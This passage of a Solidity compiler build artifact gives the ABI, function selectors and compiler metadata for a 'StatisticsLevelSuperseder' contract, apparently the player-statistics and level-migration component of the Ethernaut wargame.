LevelInstancesCompleted()":"900f09ac","getTotalNoOfLevelInstancesCompletedByPlayer(address)":"763fdb45","getTotalNoOfLevelInstancesCreated()":"7cbe8d04","getTotalNoOfLevelInstancesCreatedByPlayer(address)":"8b146ad6","getTotalNoOfLevelsCompletedByPlayer(address)":"36204198","getTotalNoOfPlayers()":"fb66d7ab","initialize(address,address)":"485cc955","isLevelCompleted(address,address)":"e2d8716f","levels(uint256)":"b2596a67","newLevelContractAddress()":"eac4cae0","oldLevelContractAddress()":"a8e41777","operator()":"570ca735","players(uint256)":"f71d96cb","saveNewLevel(address)":"cd819a6f","setOperator(address)":"b3ab15fb","setSubstitutionAddresses(address,address)":"9356c883","submitFailure(address,address,address)":"d0f191e0","submitSuccess(address,address,address)":"2c038c32","usersArrayIndex()":"e635b4d2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint8\",\"name\":\"version\",\"type\":\"uint8\"}],\"name\":\"Initialized\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"averageCompletionTime\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"globalLevelsCompleted\",\"type\":\"uint256\"}],\"name\":\"playerScoreProfile\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"cleanStorage\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"createNewInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"doesLevelExist\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"doesPlayerExist\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dumpLevelFirstCompletionTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dumpLevelFirstInstanceCreationTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dumpLevelStats\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dumpPlayerStats\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dumpStage\",\"outputs\":[{\"internalType\":\"enum StatisticsLevelSuperseder.DumpStage\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"ethernaut\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"fixLevelExistAndLevelsArray\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getAverageTimeTakenToCompleteLevels\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"getLevelAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getLevelExists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getLevelFirstCompletionTime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getLevelFirstInstanceCreationTime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getLevelStats\",\"outputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"noOfInstancesCreated\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"noOfInstancesSubmitted_Success\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"noOfSubmissions_Failed\",\"type\":\"uint256\"}],\"internalType\":\"struct StatisticsLevelSuperseder.Level\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfCompletedSubmissionsForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfFailedSubmissionsForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getNoOfInstancesForLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getPercentageOfLevelsCompleted\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"getPlayerAtIndex\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getPlayerStats\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"isCompleted\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"timeCreated\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"timeCompleted\",\"type\":\"uint256\"},{\"internalType\":\"uint256[]\",\"name\":\"timeSubmitted\",\"type\":\"uint256[]\"}],\"internalType\":\"struct StatisticsLevelSuperseder.LevelInstance\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"getSubmissionsForLevelByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"getTimeElapsedForCompletionOfLevel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfEthernautLevels\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfFailedSubmissions\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfFailedSubmissionsByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfFailuresForLevelAndPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfLevelInstancesCompleted\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelInstancesCompletedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfLevelInstancesCreated\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelInstancesCreatedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"getTotalNoOfLevelsCompletedByPlayer\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalNoOfPlayers\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_ethernautAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"}],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"isLevelCompleted\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"levels\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"newLevelContractAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"oldLevelContractAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"operator\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"players\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"saveNewLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"}],\"name\":\"setOperator\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_oldLevelContractAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_newLevelContractAddress\",\"type\":\"address\"}],\"name\":\"setSubstitutionAddresses\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitFailure\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitSuccess\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"usersArrayIndex\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Initialized(uint8)\":{\"details\":\"Triggered when the contract has been initialized or reinitialized.\"}},\"kind\":\"dev\",\"methods\":{},\"stateVariables\":{\"__gap\":{\"details\":\"This empty reserved space is put in place to allow future versions to add new variables without shifting down storage in the inheritance chain. See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/metrics/StatisticsLevelSuperseder.sol\":\"StatisticsLevelSuperseder\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/metrics/StatisticsLevelSuperseder.sol\":{\"keccak256\":\"0x5f4b7b490d1fec65f4914b7411e7efbb68045adbe71a8dbc4f3c2bfa2975c2ff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ae706fa3bf012551b030ec49dd3c464b7d87170e51e39f75898902b71ffe0d40\",\"dweb:/ipfs/QmNcuMddqKKwLWiDMCmebs9iGgMmbVFZJVNXCw6pvSZzqW\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint8","name":"version","type":"uint8","indexed":false}],"type":"event","name":"Initialized","anonymous":false},{"inputs":[{"internalType":"address","name":"player","type":"address","indexed":true},{"internalType":"uint256","name":"averageCompletionTime","type":"uint256","indexed":true},{"internalType":"uint256","name":"globalLevelsCompleted","type":"uint256","indexed":true}],"type":"event","name":"playerScoreProfile","anonymous":false},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"cleanStorage"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"createNewInstance"},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"doesLevelExist","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"doesPlayerExist","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"dumpLevelFirstCompletionTime"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"dumpLevelFirstInstanceCreationTime"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"dumpLevelStats"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"dumpPlayerStats"},{"inputs":[],"stateMutability":"view","type":"function","name":"dumpStage","outputs":[{"internalType":"enum StatisticsLevelSuperseder.DumpStage","name":"","type":"uint8"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"ethernaut","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"fixLevelExistAndLevelsArray"},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getAverageTimeTakenToCompleteLevels","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"view","type":"function","name":"getLevelAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getLevelExists","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getLevelFirstCompletionTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getLevelFirstInstanceCreationTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getLevelStats","outputs":[{"internalType":"struct StatisticsLevelSuperseder.Level","name":"","type":"tuple","components":[{"internalType":"uint256","name":"noOfInstancesCreated","type":"uint256"},{"internalType":"uint256","name":"noOfInstancesSubmitted_Success","type":"uint256"},{"internalType":"uint256","name":"noOfSubmissions_Failed","type":"uint256"}]}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfCompletedSubmissionsForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfFailedSubmissionsForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getNoOfInstancesForLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getPercentageOfLevelsCompleted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"view","type":"function","name":"getPlayerAtIndex","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getPlayerStats","outputs":[{"internalType":"struct StatisticsLevelSuperseder.LevelInstance","name":"","type":"tuple","components":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"bool","name":"isCompleted","type":"bool"},{"internalType":"uint256","name":"timeCreated","type":"uint256"},{"internalType":"uint256","name":"timeCompleted","type":"uint256"},{"internalType":"uint256[]","name":"timeSubmitted","type":"uint256[]"}]}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"stateMutability":"view","type":"function","name":"getSubmissionsForLevelByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"getTimeElapsedForCompletionOfLevel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfEthernautLevels","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfFailedSubmissions","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfFailedSubmissionsByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfFailuresForLevelAndPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCompleted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCompletedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCreated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelInstancesCreatedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"player","type":"address"}],"stateMutability":"view","type":"function","name":"getTotalNoOfLevelsCompletedByPlayer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getTotalNoOfPlayers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_ethernautAddress","type":"address"},{"internalType":"address","name":"_operator","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"address","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"isLevelCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"levels","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"newLevelContractAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"oldLevelContractAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"operator","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"players","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"saveNewLevel"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setOperator"},{"inputs":[{"internalType":"address","name":"_oldLevelContractAddress","type":"address"},{"internalType":"address","name":"_newLevelContractAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setSubstitutionAddresses"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitFailure"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitSuccess"},{"inputs":[],"stateMutability":"view","type":"function","name":"usersArrayIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/metrics/StatisticsLevelSuperseder.sol":"StatisticsLevelSuperseder"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/metrics/StatisticsLevelSuperseder.sol":{"keccak256":"0x5f4b7b490d1fec65f4914b7411e7efbb68045adbe71a8dbc4f3c2bfa2975c2ff","urls":["bzz-raw://ae706fa3bf012551b030ec49dd3c464b7d87170e51e39f75898902b71ffe0d40","dweb:/ipfs